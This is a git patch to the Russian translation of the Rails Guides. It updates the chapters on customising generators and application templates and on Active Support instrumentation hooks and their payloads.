`scaffold_controller`, который вызывает генераторы `erb`, `test_unit` и `helper`. Поскольку у каждого генератора одна функция, их просто использовать повторно, избегая дублирования кода. - -Следующей настройкой рабочего процесса будет полное прекращение генерации таблиц стилей и фикстур для тестов скаффолда. Этого можно достичь, изменив конфигурацию следующим образом: - -```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: false -end ``` -Если мы сгенерируем другой ресурс с помощью генератора скаффолда, мы увидим, что ни таблица стилей, ни JavaScript, ни фикстуры более не будут созданы. Если мы захотим настраивать его дальше, например использовать DataMapper и RSpec вместо Active Record и TestUnit, это достигается всего лишь добавлением соответствующих гемов в приложение и настройкой ваших генераторов. +Из вывода мы видим, что генератор скаффолда вызывает другие генераторы, такие как генератор `scaffold_controller`. И некоторые из этих генераторов также вызывают другие генераторы. В частности, генератор `scaffold_controller` вызывает несколько других генераторов, включая генератор `helper`. -Для демонстрации мы собираемся создать новый генератор хелперов, который просто добавляет несколько методов-ридеров для переменных экземпляра. Сначала мы создадим генератор в пространстве имен rails, так как тут rails ищет генераторы, используемые как хуки: +Давайте переопределим встроенный генератор `helper` новым генератором. Мы назовем генератор `my_helper`: ```bash $ bin/rails generate generator rails/my_helper @@ -228,141 +280,83 @@ $ bin/rails generate generator rails/my_helper create test/lib/generators/rails/my_helper_generator_test.rb ``` -Можно опробовать наш новый генератор, создав хелпер для продуктов: - -```bash -$ bin/rails generate my_helper products - create app/helpers/products_helper.rb -``` - -И следующий хелпер будет сгенерирован в `app/helpers`: +И в `lib/generators/rails/my_helper/my_helper_generator.rb` мы определим генератор как: ```ruby -module ProductsHelper - attr_reader :products, :product +class Rails::MyHelperGenerator < Rails::Generators::NamedBase + def create_helper_file + create_file "app/helpers/#{file_name}_helper.rb", <<~RUBY + module #{class_name}Helper + # I'm helping! + end + RUBY + end end ``` -Что, собственно, и ожидалось. Можно сообщить скаффолду использовать наш новый генератор хелпера, снова отредактировав `config/application.rb`: +Наконец, необходимо сообщить Rails использовать генератор `my_helper` вместо встроенного генератора `helper`. Для этого мы используем `config.generators`. В `config/application.rb` добавим: ```ruby config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: false - g.helper :my_helper + g.helper :my_helper end ``` -и увидев его в действии при вызове генератора: +Теперь, если мы снова запустим генератор скаффолда, мы увидим генератор `my_helper` в действии: ```bash $ bin/rails generate scaffold Article body:text - [...] + ... + invoke scaffold_controller + ... invoke my_helper create app/helpers/articles_helper.rb + ... ``` -Можно отметить в выводе, что был вызван наш новый генератор хелпера вместо генератора Rails по умолчанию. Однако мы кое-что упустили, это тесты для нашего нового генератора, и чтобы их сделать, мы воспользуемся старыми генераторами теста для хелперов. +NOTE: Можно отметить, что вывод для встроенного генератора `helper` включает "invoke test_unit", а вывод для `my_helper` нет. Хотя генератор `helper` не генерирует тесты по умолчанию, он предоставляет хук для этого с помощью [`hook_for`][]. Мы можем сделать то же самое, включив `hook_for :test_framework, as: :helper` в класс `MyHelperGenerator`. Подробнее смотрите в документации по `hook_for`. -Начиная с Rails 3.0, это просто, благодаря концепции хуков. Наш новый хелпер не должен быть сфокусирован на какой-то определенный тестовый фреймворк, он просто представляет хук, и тестовому фреймворку нужно всего-лишь реализовать этот хук, чтобы быть совместимым. +[`config.generators`]: configuring.html#configuring-generators +[`hook_for`]: https://api.rubyonrails.org/classes/Rails/Generators/Base.html#method-c-hook_for -Для этого мы изменим генератор следующим образом: +### Фолбэки генераторов -```ruby -# lib/generators/rails/my_helper/my_helper_generator.rb -class Rails::MyHelperGenerator < Rails::Generators::NamedBase - def create_helper_file - create_file "app/helpers/#{file_name}_helper.rb", <<-FILE -module #{class_name}Helper - attr_reader :#{plural_name}, :#{plural_name.singularize} -end - FILE - end +Другим способом переопределить определенные генераторы является использование _фолбэков_. Фолбэк позволяет пространству имен генератора делегировать пространству имен другого генератора. - hook_for :test_framework -end -``` +Скажем, к примеру, что мы хотим переопределить генератор `test_unit:model` нашим собственным генератором `my_test_unit:model`, но мы не хотим заменять все другие генераторы `test_unit:*`, такие как `test_unit:controller`. -Теперь, когда вызывается генератор хелпера, и как тестовый фреймворк настроен TestUnit, он попытается вызвать `Rails::TestUnitGenerator` и `TestUnit::MyHelperGenerator`. Поскольку ни один из них не определен, можно сообщить нашему генератору вместо них вызывать `TestUnit::Generators::HelperGenerator`, который определен, так как это генератор Rails. Для этого нужно всего лишь добавить: +Сначала мы создадим генератор `my_test_unit:model` в `lib/generators/my_test_unit/model/model_generator.rb`: ```ruby -# Search for :helper instead of :my_helper -hook_for :test_framework, as: :helper -``` - -Теперь можно снова запустить скаффолд для другого ресурса и увидеть, что он также генерирует тесты! +module MyTestUnit + class ModelGenerator < Rails::Generators::NamedBase + source_root File.expand_path("templates", __dir__) -Настройка рабочего процесса, изменяя шаблоны генераторов --------------------------------------------------------- - -На предыдущем шаге мы просто хотели добавить строчку в сгенерированный хелпер без добавления какой-либо дополнительной функциональности. Имеется более простой способ, чтобы сделать такое - замена шаблонов для уже существующих генераторов, в нашем случае `Rails::Generators::HelperGenerator`. - -В Rails 3.0 и выше генераторы не просто ищут шаблоны в корневом пути, они также ищут по другим путям. И одно из них — `lib/templates`. Поскольку мы хотим изменить `Rails::Generators::HelperGenerator`, можно это осуществить, просто сделав копию шаблона в `lib/templates/rails/helper` с именем `helper.rb`. Так давайте же создадим этот файл со следующим содержимым: - -```erb -module <%= class_name %>Helper - attr_reader :<%= plural_name %>, :<%= plural_name.singularize %> -end -``` - -и отменим последнее изменение в `config/application.rb`: - -```ruby -config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :test_unit, fixture: false - g.stylesheets false + def do_different_stuff + say "Doing different stuff..." + end + end end ``` -Теперь, если сгенерируете другой ресурс, то увидите похожий результат! - -Еще одним обычным использованием пользовательских шаблонов является переопределение [шаблонов скаффолда вью по умолчанию](https://github.com/rails/rails/tree/main/railties/lib/rails/generators/erb/scaffold/templates). Любой из них можно переопределить, создав соответствующий файл (например, `index.html.erb`, `show.html.erb`, и т.д.) в `lib/templates/erb/scaffold`. - -Шаблоны скаффолда в Rails часто используют теги ERB; эти теги необходимо экранировать, чтобы сгенерированный результат являлся валидным кодом ERB. - -Например, в шаблоне необходим следующий экранированный тег ERB (обратите внимание на дополнительный `%`)... - -```erb -<%%= stylesheet_link_tag :application %> -``` - -...чтобы сгенерировать следующий результат: - -```erb -<%= stylesheet_link_tag :application %> -``` - -Добавление фолбэков генераторов -------------------------------- - -Еще одна особенность генераторов, которая очень полезна, это фолбэки. Например, представим, что вы хотите добавить особенность над TestUnit, такую как [shoulda](https://github.com/thoughtbot/shoulda). Так как TestUnit уже реализует все генераторы, требуемые Rails, а shoulda всего лишь хочет переопределить часть из них, нет необходимости для shoulda переопределять некоторые генераторы, она может просто сообщить Rails использовать генератор `TestUnit`, если такой не найден в пространстве имен `Shoulda`. - -Можно с легкостью смоделировать это поведение, снова изменив наш `config/application.rb`: +Затем используем `config.generators` для конфигурации генератора `test_framework` как `my_test_unit`, но мы также сконфигурируем фолбэк, что любые отсутствующие генераторы `my_test_unit:*` будут разрешаться как `test_unit:*`: ```ruby config.generators do |g| - g.orm :active_record - g.template_engine :erb - g.test_framework :shoulda, fixture: false - - # Добавим фолбэк! - g.fallbacks[:shoulda] = :test_unit + g.test_framework :my_test_unit, fixture: false + g.fallbacks[:my_test_unit] = :test_unit end ``` -Теперь, если создать скаффолд Comment, вы увидите, что были вызваны генераторы shoulda, но в итоге они всего лишь переуступили генераторам TestUnit: +Теперь, когда мы запустим генератор скаффолда, мы увидим, что `my_test_unit` заменил `test_unit`, но были затронуты только тесты модели: ```bash $ bin/rails generate scaffold Comment body:text invoke active_record - create db/migrate/20130924143118_create_comments.rb + create db/migrate/20230518000000_create_comments.rb create app/models/comment.rb - invoke shoulda - create test/models/comment_test.rb - create test/fixtures/comments.yml + invoke my_test_unit + Doing different stuff... invoke resource_route route resources :comments invoke scaffold_controller @@ -373,299 +367,96 @@ $ bin/rails generate scaffold Comment body:text create app/views/comments/edit.html.erb create app/views/comments/show.html.erb create app/views/comments/new.html.erb - create app/views/comments/_form.html.erb - invoke my_helper + create app/views/comments/_comment.html.erb + invoke resource_route + invoke my_test_unit + create test/controllers/comments_controller_test.rb + create test/system/comments_test.rb + invoke helper create app/helpers/comments_helper.rb - invoke shoulda - create test/helpers/comments_helper_test.rb + invoke my_test_unit invoke jbuilder create app/views/comments/index.json.jbuilder create app/views/comments/show.json.jbuilder - invoke test_unit - create test/application_system_test_case.rb - create test/system/comments_test.rb ``` -Фолбэки позволяют вашим генераторам иметь единственную ответственность, увеличить повторное использование кода и уменьшить дублирование. - Шаблоны приложения ------------------ -Теперь, когда вы узнали, как генераторы используются _внутри_ приложения, знаете ли вы, что они используются и для _генерации_ приложения тоже? Этот тип генератора называют "template". Далее идет краткий обзор Templates API. Подробную информацию смотрите в руководстве [Шаблоны приложения на Rails](/rails-application-templates). +Шаблоны приложения это специальный тип генератора. Они могут использовать все [вспомогательные методы генератора](#generator-helper-methods), но написаны как скрипт Ruby вместо класса Ruby. Вот пример: ```ruby -gem "rspec-rails", group: "test" -gem "cucumber-rails", group: "test" +# template.rb if yes?("Would you like to install Devise?") gem "devise" - generate "devise:install" - model_name = ask("What would you like the user model to be called? [user]") - model_name = "user" if model_name.blank? - generate "devise", model_name + devise_model = ask("What would you like the user model to be called?", default: "User") end -``` - -В вышеприведенном шаблоне мы определили, что приложение полагается на гемы `rspec-rails` и `cucumber-rails`, поэтому они будут добавлены в группу `test` в `Gemfile`. Затем мы зададим вопрос пользователю относительно того, хочет ли он установить Devise. Если пользователь ответит "y" или "yes" на этот вопрос, тогда шаблон добавит Devise в `Gemfile` вне какой-либо группы, а затем запустит генератор `devise:install`. Затем этот шаблон возьмет пользовательский ввод и запустит генератор `devise` с переданным ответом пользователя из последнего вопроса. -Представим, что этот шаблон был в файле `template.rb`. Можно его использовать, чтобы модифицировать результат команды `rails new` с помощью опции `-m` и передачей имени файла: - -```bash -$ rails new thud -m template.rb +after_bundle do + if devise_model + generate "devise:install" + generate "devise", devise_model + rails_command "db:migrate" + end + git add: ".", commit: %(-m 'Initial commit') +end ``` -Эта команда сгенерирует приложение `Thud`, а затем применит шаблон к сгенерированному результату. +Сначала шаблон спрашивает пользователя, желает ли он установить Devise. Если пользователь отвечает "yes" (или "y"), шаблон добавит Devise в `Gemfile`, спрашивая пользователя об имени модели пользователя Devise (по умолчанию `User`). Затем, после запуска `bundle install`, шаблон запустит генераторы Devise и `rails db:migrate`, если была указана модель Devise. Наконец, шаблон выполнит `git add` и `git commit` для всей директории приложения. -Шаблоны не обязательно должны храниться в локальной системе, опция `-m` также поддерживает онлайн шаблоны: +Наш шаблон можно запустить при генерации нового приложения Rails, передав опцию `-m` к команде `rails new`: ```bash -$ rails new thud -m https://gist.github.com/radar/722911/raw/ -``` - -В то время как последний раздел этого руководства не раскрывает, как генерировать замечательные шаблоны, он познакомит вас с доступными методами, с помощью которых вы сможете создать их самостоятельно. Абсолютно те же методы доступны и для генераторов. - -Добавление аргументов командной строки --------------------------------------- - -Генераторы Rails легко модифицировать, чтобы они принимали произвольные аргументы командной строки. Эта функциональность исходит из [Thor](https://www.rubydoc.info/gems/thor/Thor/Base/ClassMethods#class_options-instance_method): - -```ruby -class_option :scope, type: :string, default: 'read_products' +$ rails new my_cool_app -m path/to/template.rb ``` -Теперь наш генератор может быть вызван следующим образом: +Альтернативно можно запустить наш шаблон внутри существующего приложения с помощью `bin/rails app:template`: ```bash -$ bin/rails generate initializer --scope write_products -``` - -К аргументам командной строки можно обратиться с помощью метода `options` в классе генератора. То есть: - -```ruby -@scope = options['scope'] -``` - -(Generator methods) Методы генератора -------------------------------------- - -Следующие методы доступны как для генераторов, так и для шаблонов Rails. - -NOTE: Методы, представленные Thor не раскрываются в этом руководстве, а находятся в [документации по Thor](https://www.rubydoc.info/gems/thor/Thor/Actions) - -### `gem` - -Указывает зависимость приложения от гема. - -```ruby -gem "rspec", group: "test", version: "2.1.0" -gem "devise", "1.1.5" -``` - -Доступны следующие опции: - -* `:group` - Группа в `Gemfile`, где должен быть гем. -* `:version` - Строка версии гема, которую нужно использовать. Также может быть указана в качестве второго аргумента метода. -* `:git` - URL репозитория git для этого гема. - -Любые дополнительные опции, переданные в этот метод помещаются в конце строчки: - -```ruby -gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" -``` - -Вышеприведенный код поместит следующую строчку в `Gemfile`: - -```ruby -gem "devise", git: "https://github.com/plataformatec/devise.git", branch: "master" -``` - -### `gem_group` - -Оборачивает вхождения гемов в группу: - -```ruby -gem_group :development, :test do - gem "rspec-rails" -end -``` - -### `add_source` - -Добавляет определенный источник в `Gemfile`: - -```ruby -add_source "http://gems.github.com/" -``` - -Этот метод также принимает блок: - -```ruby -add_source "http://gems.github.com/" do - gem "rspec-rails" -end -``` - -### `inject_into_file` - -Встраивает блок кода в определенную позицию вашего файла. - -```ruby -inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY' - puts "Hello World" -RUBY -end -``` - -### `gsub_file` - -Заменяет текст в файле. - -```ruby -gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code' -``` - -Этот метод можно сделать более точным с помощью регулярных выражений. Таким же образом можно использовать `append_file` и `prepend_file`, чтобы поместить код в начало или конец файла соответственно. - -### `application` - -Добавляет строчку в `config/application.rb` непосредственно после определения класса приложения. - -```ruby -application "config.asset_host = 'http://example.com/'" -``` - -Также этот метод может принимать блок: - -```ruby -application do - "config.asset_host = 'http://example.com/'" -end -``` - -Доступные опции: - -* `:env` - Определяет среду для этой конфигурационной опции. Если хотите использовать эту опцию с блочным синтаксисом, рекомендуемый синтаксис следующий: - -```ruby -application(nil, env: "development") do - "config.asset_host = 'http://localhost:3000/'" -end -``` - -### `git` - -Запускает определенную команду git: - -```ruby -git :init -git add: "." -git commit: "-m First commit!" -git add: "onefile.rb", rm: "badfile.cxx" -``` - -Значения хэша будут аргументами или опциями, переданными в определенную команду git. Как показано в последнем примере, одновременно могут быть определены несколько команд git, но не гарантируется соответствие порядка их запуска порядку, в котором они определены. - -### `vendor` - -Помещает файл, содержащий указанный код, в `vendor`. - -```ruby -vendor "sekrit.rb", '#top secret stuff' -``` - -Этот метод также принимает блок: - -```ruby -vendor "seeds.rb" do - "puts 'in your app, seeding your database'" -end -``` - -### `lib` - -Помещает файл, содержащий указанный код, в `lib`. - -```ruby -lib "special.rb", "p Rails.root" -``` - -Этот метод также принимает блок: - -```ruby -lib "super_special.rb" do - "puts 'Super special!'" -end -``` - -### `rakefile` - -Создает файл Rake в директории `lib/tasks` приложения. - -```ruby -rakefile "test.rake", 'task(:hello) { puts "Hello, there" }' -``` - -Этот метод также принимает блок: - -```ruby -rakefile "test.rake" do - %Q{ - task rock: :environment do - puts "Rockin'" - end - } -end -``` - -### `initializer` - -Создает инициализатор в директории `config/initializers` приложения: - -```ruby -initializer "begin.rb", "puts 'this is the beginning'" -``` - -Этот метод также принимает блок и ожидает возврата строки: - -```ruby -initializer "begin.rb" do - "puts 'this is the beginning'" -end -``` - -### `generate` - -Запускает указанный генератор, где первый аргумент это имя генератора, а оставшиеся аргументы передаются непосредственно в генератор. - -```ruby -generate "scaffold", "forums title:string description:text" -``` - -### `rake` - -Запускает указанную задачу Rake. - -```ruby -rake "db:migrate" +$ bin/rails app:template LOCATION=path/to/template.rb ``` -Доступные опции: +Также шаблоны не обязательно хранить локально — можно указать URL вместо пути: -* `:env` - Указывает среду, в которой запускается эта задача rake. -* `:sudo` - Запускать ли эту задачу с помощью `sudo`. По умолчанию `false`. - -### `route` - -Добавляет текст в файл `config/routes.rb`: - -```ruby -route "resources :people" -``` - -### `readme` - -Выводит содержимое файла из `source_path` шаблона, обычно README. - -```ruby -readme "README" -``` +```bash +$ rails new my_cool_app -m http://example.com/template.rb +$ bin/rails app:template LOCATION=http://example.com/template.rb +``` + +Вспомогательные методы генератора +--------------------------------- + +Thor предоставляет множество вспомогательным методам генератора посредством [`Thor::Actions`][], таких как: + +* [`copy_file`][] +* [`create_file`][] +* [`gsub_file`][] +* [`insert_into_file`][] +* [`inside`][] + +В дополнение к этому, Rails также предоставляет множество вспомогательных методов посредством [`Rails::Generators::Actions`][], таких как: + +* [`environment`][] +* [`gem`][] +* [`generate`][] +* [`git`][] +* [`initializer`][] +* [`lib`][] +* [`rails_command`][] +* [`rake`][] +* [`route`][] + +[`Rails::Generators::Actions`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html +[`environment`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-environment +[`gem`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-gem +[`generate`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-generate +[`git`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-git +[`gsub_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#gsub_file-instance_method +[`initializer`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-initializer +[`insert_into_file`]: https://www.rubydoc.info/gems/thor/Thor/Actions#insert_into_file-instance_method +[`inside`]: https://www.rubydoc.info/gems/thor/Thor/Actions#inside-instance_method +[`lib`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-lib +[`rails_command`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rails_command +[`rake`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-rake +[`route`]: https://api.rubyonrails.org/classes/Rails/Generators/Actions.html#method-i-route \ No newline at end of file diff --git a/source/index.yml b/source/index.yml index 697f1c3b..fa377c0b 100644 --- a/source/index.yml +++ b/source/index.yml @@ -267,8 +267,8 @@ pages: - title: Создание и настройка генераторов и шаблонов Rails path: generators file: generators.md - revision: 268bf18949570c19849b8f7596f73ea48ab3c8ee - date: 19/12/2022 + revision: 43fa801967305ec1aab794fac269e1ba024ba3ce + date: 15/05/2023 - title: Треды и выполнение кода в Rails path: threading_and_code_execution From 4349745146b857b86dde65dbc3a4410c08e03b32 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Thu, 29 Jun 2023 02:11:49 +0300 Subject: [PATCH 837/932] Update instrumentation guide --- .yaspeller.json | 1 + source/active_support_instrumentation.md | 537 +++++++++++++++-------- source/index.yml | 4 +- 3 files changed, 362 insertions(+), 180 deletions(-) diff --git a/.yaspeller.json b/.yaspeller.json index 6c1dcdf0..6c8414d3 100644 --- a/.yaspeller.json +++ b/.yaspeller.json @@ -239,6 +239,7 @@ "спуфинг(а|ом|е|)", "стаб(а|е|у|ы|ах|ов|ом|ами|)", "суффикс(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", + "тайминг(а|е|у|и|ах|ов|ом|ами|)", "тикет(а|е|у|ы|ах|ов|ом|ами|)", "токен(а|е|у|ы|ах|ов|ом|ами|)", "токенн(ый|ой|ая)", diff --git a/source/active_support_instrumentation.md b/source/active_support_instrumentation.md index a6951eac..cf557c5d 100644 --- a/source/active_support_instrumentation.md +++ b/source/active_support_instrumentation.md @@ -3,12 +3,13 @@ Active Support — часть ядра Rails, которая предоставляет расширение языка Ruby, утилиты и другие возможности. Она включает инструментарий API, который может использоваться внутри приложения, для отслеживания определенных действий, которые возникают как в коде Ruby, так и внутри приложения Rails и самого фреймворка. Однако, она не ограничена Rails. При необходимости ее можно независимо использовать в других скриптах Ruby если вы желаете. -В этом руководстве вы научитесь использовать инструменты Active Support API для отслеживания событий внутри Rails или другого Ruby-кода. +В этом руководстве вы научитесь использовать API инструментария Active Support для отслеживания событий внутри Rails или другого Ruby-кода. После прочтения данного руководства вы будете знать: * Какой инструментарий предоставляется. * Как добавить подписчика к хуку. +* Как увидеть тайминги от инструментария в браузере. * Какие есть хуки внутри фреймворка Rails для инструментария. * Как создать произвольную реализацию инструментария. @@ -17,16 +18,16 @@ Active Support — часть ядра Rails, которая предостав Введение в инструментарий ------------------------- -Инструментарий API, предоставленный Active Support, позволяет разработчикам создавать хуки, которыми могут пользоваться другие разработчики. Некоторые из них присутствуют в фреймворке Rails, как показано [ниже](#huki-freymvorka-rails). С этим API, разработчики могут быть оповещены при возникновении определенного события в их приложении или другом коде Ruby. +Инструментарий API, предоставленный Active Support, позволяет разработчикам создавать хуки, которыми могут пользоваться другие разработчики. [Некоторые из них](#huki-freymvorka-rails) присутствуют в фреймворке Rails. С этим API, разработчики могут быть оповещены при возникновении определенного события в их приложении или другом коде Ruby. -Например, есть хук внутри Active Record который вызывается каждый раз когда Active Record использует запрос SQL к базе данных. На этот хук можно **подписаться** и использовать его для отслеживания количества запросов в течении определенного экшна. Есть другой хук, оборачивающий экшны контроллеров. Он может быть использован, например, для отслеживания, как долго выполнялся определенный экшн. +Например, есть [хук](#sql-active-record) внутри Active Record который вызывается каждый раз когда Active Record использует запрос SQL к базе данных. На этот хук можно **подписаться** и использовать его для отслеживания количества запросов в течении определенного экшна. Есть [другой хук](#process-action-action-controller), оборачивающий экшны контроллеров. Он может быть использован, например, для отслеживания, как долго выполнялся определенный экшн. Вы даже можете [создать свои собственные события](#creating-custom-events) внутри приложения, на которые вы потом сможете подписаться. Подписка на события ------------------- -Подписаться на событие просто. Используйте `ActiveSupport::Notifications.subscribe` с блоком, чтобы слушать любое уведомление. +Подписаться на событие просто. Используйте [`ActiveSupport::Notifications.subscribe`][] с блоком, чтобы слушать любое уведомление. Блок получает следующие аргументы: @@ -34,7 +35,7 @@ Active Support — часть ядра Rails, которая предостав * Время начала * Время окончания * Уникальный ID для инструментария, запустившего это событие -* Полезная нагрузка (описывается в следующих разделах) +* Полезная нагрузка для события ```ruby ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| @@ -43,7 +44,7 @@ ActiveSupport::Notifications.subscribe "process_action.action_controller" do |na end ``` -Если вы беспокоитесь об аккуратности `started` и `finished` для вычисления точного прошедшего времени, используйте `ActiveSupport::Notifications.monotonic_subscribe`. Преданный блок получает те же аргументы, что и предыдущий, но `started` и `finished` получит значения более аккуратного монотонного времени вместо секундного дискретного времени. +Если вы беспокоитесь об аккуратности `started` и `finished` для вычисления точного прошедшего времени, используйте [`ActiveSupport::Notifications.monotonic_subscribe`][]. Преданный блок получает те же аргументы, что и предыдущий, но `started` и `finished` получит значения более аккуратного монотонного времени вместо секундного дискретного времени. ```ruby ActiveSupport::Notifications.monotonic_subscribe "process_action.action_controller" do |name, started, finished, unique_id, data| @@ -52,11 +53,11 @@ ActiveSupport::Notifications.monotonic_subscribe "process_action.action_controll end ``` -Определение всех этих аргументов блока каждый раз может быть утомительно. Можно легко создать `ActiveSupport::Notifications::Event` из блока аргументов, например: +Определение всех этих аргументов блока каждый раз может быть утомительно. Можно легко создать [`ActiveSupport::Notifications::Event`][] из блока аргументов, например: ```ruby ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| - event = ActiveSupport::Notifications::Event.new *args + event = ActiveSupport::Notifications::Event.new(*args) event.name # => "process_action.action_controller" event.duration # => 10 (in milliseconds) @@ -66,79 +67,37 @@ ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*a end ``` -В основном вас будет интересовать сама информация. Ниже приведен краткий вариант, как можно получить информацию. +Вы можете также подписаться на события, соответствующие регулярному выражению. Это позволит вам подписаться на несколько событий за раз. Вот как можно подписаться на все события `ActionController`: ```ruby -ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args| - data = args.extract_options! - data # { extra: :information } -end -``` - -Вы можете также подписаться на события, соответствующие регулярному выражению. Это позволит вам подписаться на несколько событий за раз. Вот как можно подписаться на все события `ActionController`. - -```ruby -ActiveSupport::Notifications.subscribe /action_controller/ do |*args| +ActiveSupport::Notifications.subscribe(/action_controller/) do |*args| # Проверка всех событий ActionController end ``` -Хуки фреймворка Rails ---------------------- - -Внутри фреймворка Ruby on Rails присутствует множество хуков для обычных событий. Они описываются ниже. - -### Action Controller - -#### write_fragment.action_controller +[`ActiveSupport::Notifications::Event`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications/Event.html +[`ActiveSupport::Notifications.monotonic_subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-monotonic_subscribe +[`ActiveSupport::Notifications.subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-subscribe -| Ключ | Значение | -| ------ | ---------------- | -| `:key` | Полный ключ | - -```ruby -{ - key: 'posts/1-dashboard-view' -} -``` +Просмотр таймингов от инструментария в браузере +----------------------------------------------- -#### read_fragment.action_controller - -| Ключ | Значение | -| ------ | ---------------- | -| `:key` | Полный ключ | +Rails реализует стандарт [Server Timing](https://www.w3.org/TR/server-timing/), чтобы сделать информацию о тайминге доступной в веб-браузере. Чтобы включить, отредактируйте конфигурацию среды (обычно `development.rb`, так как это используется в основном в development), чтобы включить следующее: ```ruby -{ - key: 'posts/1-dashboard-view' -} + config.server_timing = true ``` -#### expire_fragment.action_controller - -| Ключ | Значение | -| ------ | ---------------- | -| `:key` | Полный ключ | - -```ruby -{ - key: 'posts/1-dashboard-view' -} -``` +Как только настроено (включая перезагрузку вашего сервера), можно пойти в панель Developer Tools вашего браузера, затем выбрать Network и перезагрузить вашу страницу. Затем можно выбрать любой запрос к серверу Rails, и увидеть тайминги сервера во вкладке таймингов. Пример этого можно увидеть в [документации Firefox](https://firefox-source-docs.mozilla.org/devtools-user/network_monitor/request_details/index.html#server-timing). -#### exist_fragment?.action_controller +Хуки фреймворка Rails +--------------------- -| Ключ | Значение | -| ------ | ---------------- | -| `:key` | Полный ключ | +Внутри фреймворка Ruby on Rails присутствует множество хуков для обычных событий. Эти события и их нагрузка описываются ниже. -```ruby -{ - key: 'posts/1-dashboard-view' -} -``` +### Action Controller -#### start_processing.action_controller +#### `start_processing.action_controller` | Ключ | Значение | | ------------- | --------------------------------------------------------- | @@ -162,7 +121,7 @@ end } ``` -#### process_action.action_controller +#### `process_action.action_controller` | Ключ | Значение | | --------------- | --------------------------------------------------------- | @@ -173,8 +132,8 @@ end | `:format` | html/js/json/xml и.т.д. | | `:method` | Метод HTTP-запроса | | `:path` | Путь запроса | -| `:request` | `ActionDispatch::Request` | -| `:response` | `ActionDispatch::Response` | +| `:request` | Объект [`ActionDispatch::Request`][] | +| `:response` | Объект [`ActionDispatch::Response`][] | | `:status` | Код статуса HTTP | | `:view_runtime` | Количество времени, потраченного во вью | | `:db_runtime` | Время, потраченное на выполнение запросов к БД в мс | @@ -196,35 +155,35 @@ end } ``` -#### send_file.action_controller +#### `send_file.action_controller` | Ключ | Значение | | ------- | ------------------------- | | `:path` | Полный путь к файлу | -INFO. Дополнительные ключи могут быть добавлены при вызове. +Дополнительные ключи могут быть добавлены при вызове. -#### send_data.action_controller +#### `send_data.action_controller` `ActionController` не добавляет какой-либо конкретной информации при загрузке. Все опции передаются через полезную нагрузку (payload). -#### redirect_to.action_controller +#### `redirect_to.action_controller` -| Ключ | Значение | -| ----------- | ------------------------- | -| `:status` | Код HTTP ответа | -| `:location` | URL для переадресации | -| `:request` | `ActionDispatch::Request` | +| Ключ | Значение | +| ----------- | ------------------------------------ | +| `:status` | Код HTTP ответа | +| `:location` | URL для переадресации | +| `:request` | Объект [`ActionDispatch::Request`][] | ```ruby { status: 302, location: "http://localhost:3000/posts/new", - request: # + request: } ``` -#### halted_callback.action_controller +#### `halted_callback.action_controller` | Ключ | Значение | | --------- | ------------------------------ | @@ -236,32 +195,88 @@ INFO. Дополнительные ключи могут быть добавле } ``` -#### unpermitted_parameters.action_controller +#### `unpermitted_parameters.action_controller` | Ключ | Значение | | ------------- | -------------------------------------------------------------------------- | | `:keys` | Неразрешенные ключи | | `:context` | Хэш со следующими ключами: `:controller`, `:action`, `:params`, `:request` | +### Action Controller — кэширование + +#### `write_fragment.action_controller` + +| Ключ | Значение | +| ------ | ---------------- | +| `:key` | Полный ключ | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + +#### `read_fragment.action_controller` + +| Ключ | Значение | +| ------ | ---------------- | +| `:key` | Полный ключ | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + +#### `expire_fragment.action_controller` + +| Ключ | Значение | +| ------ | ---------------- | +| `:key` | Полный ключ | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + +#### `exist_fragment?.action_controller` + +| Ключ | Значение | +| ------ | ---------------- | +| `:key` | Полный ключ | + +```ruby +{ + key: 'posts/1-dashboard-view' +} +``` + ### Action Dispatch -#### process_middleware.action_dispatch +#### `process_middleware.action_dispatch` | Ключ | Значение | | ------------- | --------------------------- | | `:middleware` | Имя промежуточной программы | -#### redirect.action_dispatch +#### `redirect.action_dispatch` + +| Ключ | Значение | +| ----------- | ------------------------------------ | +| `:status` | Код отклика HTTP | +| `:location` | URL, куда перенаправить | +| `:request` | Объект [`ActionDispatch::Request`][] | + +#### `request.action_dispatch` -| Ключ | Значение | -| ----------- | ------------------------- | -| `:status` | Код отклика HTTP | -| `:location` | URL, куда перенаправить | -| `:request` | `ActionDispatch::Request` | +| Ключ | Значение | +| ----------- | ------------------------------------ | +| `:request` | Объект [`ActionDispatch::Request`][] | ### Action View -#### render_template.action_view +#### `render_template.action_view` | Ключ | Значение | | ------------- | ----------------------------------------- | @@ -273,11 +288,11 @@ INFO. Дополнительные ключи могут быть добавле { identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb", layout: "layouts/application", - locals: {foo: "bar"} + locals: { foo: "bar" } } ``` -#### render_partial.action_view +#### `render_partial.action_view` | Ключ | Значение | | ------------- | 